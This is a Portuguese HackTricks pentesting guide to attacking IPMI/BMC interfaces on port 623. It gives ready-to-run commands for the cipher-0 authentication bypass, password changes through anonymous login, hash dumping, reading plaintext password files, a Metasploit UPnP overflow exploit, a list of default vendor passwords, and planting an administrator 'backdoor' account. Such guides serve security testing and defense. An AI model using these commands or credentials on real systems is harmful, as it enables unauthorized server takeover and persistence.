2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-23 19:43:31 +00:00
hacktricks/network-services-pentesting/623-udp-ipmi.md

9.3 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Visão Geral do IPMI

Intelligent Platform Management Interface (IPMI) oferece uma abordagem padronizada para gerenciamento remoto e monitoramento de sistemas de computador, independente do sistema operacional ou estado de energia. Essa tecnologia permite que os administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou sem resposta, e é especialmente útil para:

  • Configurações de inicialização pré-OS
  • Gerenciamento de desligamento
  • Recuperação de falhas no sistema

O IPMI é capaz de monitorar temperaturas, voltagens, velocidades do ventilador e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Para sua operação são necessários uma fonte de energia e uma conexão LAN.

Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por inúmeros fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte à versão 2.0 para serial sobre LAN. Componentes-chave incluem:

  • Controlador de Gerenciamento da Placa Base (BMC): O microcontrolador principal para operações do IPMI.
  • Barramentos e Interfaces de Comunicação: Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
  • Memória IPMI: Para armazenar logs e dados.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Porta Padrão: 623/UDP/TCP (Normalmente é em UDP, mas também pode ser executado em TCP)

Enumeração

Descoberta

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Você pode identificar a versão usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidades do IPMI

No reino do IPMI 2.0, uma falha significativa de segurança foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do tipo de cifra 0. Essa vulnerabilidade, documentada em detalhes na pesquisa de Dan Farmer, permite acesso não autorizado com qualquer senha desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.

Bypass de Autenticação do IPMI via Cifra 0

Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

A exploração dessa falha é possível com ipmitool, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuário:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Recuperação Remota de Hash de Senha de IPMI 2.0 RAKP Authentication

Essa vulnerabilidade permite a recuperação de senhas salgadas e hasheadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Autenticação Anônima IPMI

Uma configuração padrão em muitos BMCs permite o acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Senhas em texto simples do IPMI da Supermicro

Uma escolha de design crítica no IPMI 2.0 torna necessário o armazenamento de senhas em texto simples dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como /nv/PSBlock ou /nv/PSStore levanta preocupações significativas de segurança:

cat /nv/PSBlock

Vulnerabilidade de UPnP do Supermicro IPMI

A inclusão de um ouvinte UPnP SSDP no firmware do IPMI da Supermicro, especialmente na porta UDP 1900, introduz um risco de segurança grave. Vulnerabilidades no SDK da Intel para Dispositivos UPnP versão 1.3.1, conforme detalhado pela divulgação da Rapid7, permitem acesso root ao BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Ataque de Força Bruta

A HP randomiza a senha padrão de seu produto Integrated Lights Out (iLO) durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar credenciais padrão estáticas. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido da seguinte forma:

  • HP Integrated Lights Out (iLO) usa uma cadeia de 8 caracteres randomizada de fábrica como sua senha padrão, demonstrando um nível de segurança mais alto.
  • Produtos como Dell's iDRAC, IBM's IMM e Fujitsu's Integrated Remote Management Controller usam senhas facilmente adivinháveis como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
  • Da mesma forma, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.

Acessando o Host via BMC

O acesso administrativo ao Controlador de Gerenciamento da Placa Base (BMC) abre várias vias para acessar o sistema operacional do host. Uma abordagem direta envolve a exploração da funcionalidade de Teclado, Vídeo, Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell raiz via GRUB (usando init=/bin/sh) ou inicializando a partir de um CD-ROM virtual configurado como um disco de resgate. Tais métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer reiniciar o host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, ele pode ser facilmente assumido por meio das funcionalidades KVM ou serial-over-LAN (sol) do BMC via ipmitool. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que exige investigação adicional.

Introduzindo Backdoors no BMC a partir do Host

Após comprometer um host equipado com um BMC, a interface local do BMC pode ser aproveitada para inserir uma conta de usuário backdoor, criando uma presença duradoura no servidor. Esse ataque exige a presença do ipmitool no host comprometido e a ativação do suporte ao driver BMC. Os comandos a seguir ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • porta:623

Referências